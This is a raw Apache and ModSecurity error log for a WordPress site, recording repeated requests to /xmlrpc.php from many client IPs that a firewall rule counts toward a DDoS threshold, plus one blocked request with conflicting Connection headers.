[Fri Apr 10 07:01:28.140189 2026] [:error] [pid 59144:tid 59163] [client 45.227.163.112:34214] [client 45.227.163.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.227.163.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgvyBta6MlufQo3_or0HgAAAVE"]
[Fri Apr 10 07:03:37.680309 2026] [:error] [pid 59218:tid 59226] [client 192.144.148.122:60114] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "adgwSYjSO_Wp4VS3Qe_24gAAAYY"]
[Fri Apr 10 07:17:18.636498 2026] [:error] [pid 59286:tid 59312] [client 87.98.165.243:57422] [client 87.98.165.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 87.98.165.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adgzfm1gMezN4JEr-RW1rgAAAdg"]
[Fri Apr 10 07:25:15.130824 2026] [:error] [pid 12574:tid 12615] [client 159.203.76.93:54938] [client 159.203.76.93] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.203.76.93, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg1W3w-1tvJISKJyrTeTQAAABU"]
[Fri Apr 10 07:30:12.744361 2026] [:error] [pid 59286:tid 59290] [client 95.85.28.210:45026] [client 95.85.28.210] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.85.28.210, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg2hG1gMezN4JEr-RW5QwAAAcI"]
[Fri Apr 10 07:32:54.068292 2026] [:error] [pid 59144:tid 59155] [client 116.202.123.186:42904] [client 116.202.123.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 116.202.123.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg3Jhta6MlufQo3_or4zQAAAUk"]
[Fri Apr 10 07:33:55.765527 2026] [:error] [pid 59144:tid 59146] [client 146.19.130.113:47450] [client 146.19.130.113] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.19.130.113, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg3Yxta6MlufQo3_or5AAAAAUA"]
[Fri Apr 10 07:46:44.056732 2026] [:error] [pid 59218:tid 59231] [client 20.238.240.42:3904] [client 20.238.240.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.238.240.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg6ZIjSO_Wp4VS3Qe8AIwAAAYs"]
[Fri Apr 10 07:47:13.267517 2026] [:error] [pid 12685:tid 12697] [client 141.94.139.189:43068] [client 141.94.139.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.139.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg6gc8f5ssYShsynaqXSAAAAMo"]
[Fri Apr 10 07:48:52.067352 2026] [:error] [pid 12576:tid 12654] [client 157.66.27.30:44760] [client 157.66.27.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg65AZp1JUS4li1Qnu-FQAAAIU"]
[Fri Apr 10 07:49:49.588964 2026] [:error] [pid 12576:tid 12650] [client 138.68.162.171:35392] [client 138.68.162.171] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.68.162.171, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg7HQZp1JUS4li1Qnu-MgAAAIE"]
[Fri Apr 10 07:49:56.293582 2026] [:error] [pid 12574:tid 12613] [client 185.199.223.39:51152] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg7JHw-1tvJISKJyrTgSgAAABM"]
[Fri Apr 10 07:50:02.747783 2026] [:error] [pid 12685:tid 12702] [client 104.37.174.183:37448] [client 104.37.174.183] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.37.174.183, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg7Ks8f5ssYShsynaqY4QAAAM8"]
[Fri Apr 10 07:53:27.405094 2026] [:error] [pid 12575:tid 12639] [client 217.160.21.41:39478] [client 217.160.21.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.21.41, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg79yjFTOT5X6zsPClW5AAAAFE"]
[Fri Apr 10 07:56:37.238043 2026] [:error] [pid 59218:tid 59229] [client 178.128.63.245:51880] [client 178.128.63.245] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.128.63.245, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg8tYjSO_Wp4VS3Qe8DmwAAAYk"]
[Fri Apr 10 07:57:50.449535 2026] [:error] [pid 59144:tid 59166] [client 167.172.55.225:53510] [client 167.172.55.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.55.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg8_hta6MlufQo3_or_nAAAAVQ"]
[Fri Apr 10 08:00:35.590308 2026] [:error] [pid 59286:tid 59310] [client 82.223.24.195:47348] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adg9o21gMezN4JEr-RXEAAAAAdY"]
[Fri Apr 10 08:14:18.234092 2026] [:error] [pid 12576:tid 12657] [client 185.199.223.39:40084] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhA2gZp1JUS4li1QnvASwAAAIg"]
[Fri Apr 10 08:14:44.931170 2026] [:error] [pid 59098:tid 59104] [client 204.48.18.182:50056] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhA9CZshs05JVy8bJ4ksAAAAQM"]
[Fri Apr 10 08:14:50.644148 2026] [:error] [pid 59218:tid 59236] [client 82.223.13.54:51500] [client 82.223.13.54] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.13.54, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhA-ojSO_Wp4VS3Qe8G3wAAAZA"]
[Fri Apr 10 08:17:11.017455 2026] [:error] [pid 59286:tid 59290] [client 52.226.240.29:5760] [client 52.226.240.29] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 52.226.240.29, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhBh21gMezN4JEr-RXJkQAAAcI"]
[Fri Apr 10 08:20:27.279976 2026] [:error] [pid 59144:tid 59163] [client 51.210.113.223:49778] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhCSxta6MlufQo3_ooDUwAAAVE"]
[Fri Apr 10 08:24:45.196128 2026] [:error] [pid 12685:tid 12706] [client 141.94.18.111:38530] [client 141.94.18.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.94.18.111, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhDTc8f5ssYShsynaqpcwAAANM"]
[Fri Apr 10 08:24:45.427175 2026] [:error] [pid 12685:tid 12688] [client 141.95.66.91:52254] [client 141.95.66.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 141.95.66.91, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhDTc8f5ssYShsynaqpdAAAAME"]
[Fri Apr 10 08:27:21.507829 2026] [:error] [pid 12685:tid 12691] [client 137.184.37.131:38970] [client 137.184.37.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.37.131, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhD6c8f5ssYShsynaqqlAAAAMQ"]
[Fri Apr 10 08:32:53.913726 2026] [:error] [pid 59098:tid 59113] [client 185.199.223.39:49022] [client 185.199.223.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhFNSZshs05JVy8bJ4m3gAAAQw"]
[Fri Apr 10 08:32:57.867468 2026] [:error] [pid 12685:tid 12699] [client 185.199.223.27:47206] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhFOc8f5ssYShsynaqtmAAAAMw"]
[Fri Apr 10 08:38:59.880177 2026] [:error] [pid 12685:tid 12695] [client 109.176.198.138:54832] [client 109.176.198.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.176.198.138, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhGo88f5ssYShsynaqxIgAAAMg"]
[Fri Apr 10 08:43:53.823649 2026] [:error] [pid 12685:tid 12694] [client 157.66.27.22:34558] [client 157.66.27.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhHyc8f5ssYShsynaqzFwAAAMc"]
[Fri Apr 10 08:44:19.934065 2026] [:error] [pid 12685:tid 12688] [client 185.199.223.27:49350] [client 185.199.223.27] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.199.223.27, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhH488f5ssYShsynaqzgAAAAME"]
[Fri Apr 10 08:45:22.759543 2026] [autoindex:error] [pid 12685:tid 12693] [client 167.86.102.235:55664] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri Apr 10 08:45:55.466222 2026] [:error] [pid 59218:tid 59238] [client 51.159.190.214:45124] [client 51.159.190.214] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.159.190.214, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhIQ4jSO_Wp4VS3Qe8MrQAAAZI"]
[Fri Apr 10 08:47:34.505850 2026] [:error] [pid 59286:tid 59292] [client 85.248.226.9:56208] [client 85.248.226.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.248.226.9, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhIpm1gMezN4JEr-RXSywAAAcQ"]
[Fri Apr 10 08:48:10.170810 2026] [:error] [pid 12685:tid 12707] [client 148.113.189.81:48322] [client 148.113.189.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.189.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhIys8f5ssYShsynaq0cwAAANQ"]
[Fri Apr 10 08:50:08.505466 2026] [:error] [pid 54466:tid 54478] [client 188.166.14.36:44360] [client 188.166.14.36] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 188.166.14.36, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhJQCqWXlAQsmwunBJokgAAAEk"]
[Fri Apr 10 08:51:46.104503 2026] [:error] [pid 54524:tid 54536] [client 31.43.119.8:48172] [client 31.43.119.8] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 31.43.119.8, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhJomvGGrp1ZE_H1vOmWwAAAQo"]
[Fri Apr 10 08:51:46.901201 2026] [:error] [pid 54466:tid 54479] [client 130.211.86.10:38730] [client 130.211.86.10] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 130.211.86.10, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhJoiqWXlAQsmwunBJo_QAAAEo"]
[Fri Apr 10 08:52:22.201751 2026] [:error] [pid 54467:tid 54503] [client 82.223.24.195:42486] [client 82.223.24.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.24.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhJxm9exTYcCsRRsoK1ewAAAMc"]
[Fri Apr 10 08:53:53.015630 2026] [:error] [pid 54524:tid 54534] [client 185.225.22.51:57010] [client 185.225.22.51] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.225.22.51, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhKIWvGGrp1ZE_H1vOnMwAAAQg"]
[Fri Apr 10 08:58:01.252479 2026] [:error] [pid 54554:tid 54558] [client 147.182.243.3:43318] [client 147.182.243.3] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 147.182.243.3, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhLGRLV7UhSV2TjBIs_yQAAAUI"]
[Fri Apr 10 08:59:35.136995 2026] [:error] [pid 54554:tid 54577] [client 49.12.238.251:57474] [client 49.12.238.251] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.12.238.251, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhLdxLV7UhSV2TjBItBBAAAAVU"]
[Fri Apr 10 09:01:25.178036 2026] [:error] [pid 54467:tid 54502] [client 46.62.219.188:39658] [client 46.62.219.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.62.219.188, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhL5W9exTYcCsRRsoK3YAAAAMY"]
[Fri Apr 10 09:11:53.803820 2026] [:error] [pid 54524:tid 54531] [client 85.128.143.123:37128] [client 85.128.143.123] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.123, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhOWWvGGrp1ZE_H1vOuzQAAAQU"]
[Fri Apr 10 09:13:57.144403 2026] [:error] [pid 54554:tid 54574] [client 161.35.47.44:59764] [client 161.35.47.44] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.47.44, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhO1RLV7UhSV2TjBItMAAAAAVI"]
[Fri Apr 10 09:18:26.374746 2026] [:error] [pid 54554:tid 54558] [client 103.110.84.178:34626] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhP4hLV7UhSV2TjBItOlAAAAUI"]
[Fri Apr 10 09:27:15.845925 2026] [:error] [pid 13101:tid 13139] [client 137.184.64.22:50656] [client 137.184.64.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.64.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhR898Ldw85818pj2qswQAAAIY"]
[Fri Apr 10 09:39:22.605357 2026] [:error] [pid 13189:tid 13208] [client 206.81.24.246:43382] [client 206.81.24.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 206.81.24.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhUypAxiJKPums3eBDXcAAAAFA"]
[Fri Apr 10 09:50:31.724084 2026] [:error] [pid 13189:tid 13213] [client 159.89.50.224:53974] [client 159.89.50.224] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.89.50.224, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhXZ5AxiJKPums3eBDhfgAAAFU"]
[Fri Apr 10 09:51:34.738482 2026] [:error] [pid 13102:tid 13165] [client 90.156.142.31:40370] [client 90.156.142.31] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 90.156.142.31, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhXpv9xLvjW2guI55YvUAAAAAU"]
[Fri Apr 10 09:51:35.742280 2026] [:error] [pid 13102:tid 13161] [client 148.113.180.195:40178] [client 148.113.180.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.180.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhXp_9xLvjW2guI55YvUwAAAAE"]
[Fri Apr 10 09:52:04.477829 2026] [:error] [pid 13102:tid 13181] [client 161.35.214.249:42864] [client 161.35.214.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.214.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhXxP9xLvjW2guI55YviwAAABU"]
[Fri Apr 10 09:53:53.894768 2026] [:error] [pid 13101:tid 13154] [client 185.74.81.105:36518] [client 185.74.81.105] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.74.81.105, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhYMd8Ldw85818pj2q48wAAAJU"]
[Fri Apr 10 09:55:16.460758 2026] [:error] [pid 13189:tid 13194] [client 45.159.231.196:46376] [client 45.159.231.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.231.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhYhJAxiJKPums3eBDlYQAAAEI"]
[Fri Apr 10 09:55:35.395201 2026] [:error] [pid 13102:tid 13164] [client 157.66.27.22:34764] [client 157.66.27.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhYl_9xLvjW2guI55Yx8gAAAAQ"]
[Fri Apr 10 10:02:27.643586 2026] [:error] [pid 13101:tid 13143] [client 45.159.231.196:60300] [client 45.159.231.196] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 45.159.231.196, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhaM98Ldw85818pj2q8xQAAAIo"]
[Fri Apr 10 10:02:40.173154 2026] [:error] [pid 13189:tid 13210] [client 157.66.27.55:60236] [client 157.66.27.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.55, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhaQJAxiJKPums3eBDrGQAAAFI"]
[Fri Apr 10 10:03:16.806810 2026] [:error] [pid 13189:tid 13193] [client 217.182.82.42:41188] [client 217.182.82.42] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.182.82.42, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adhaZJAxiJKPums3eBDrbwAAAEE"]
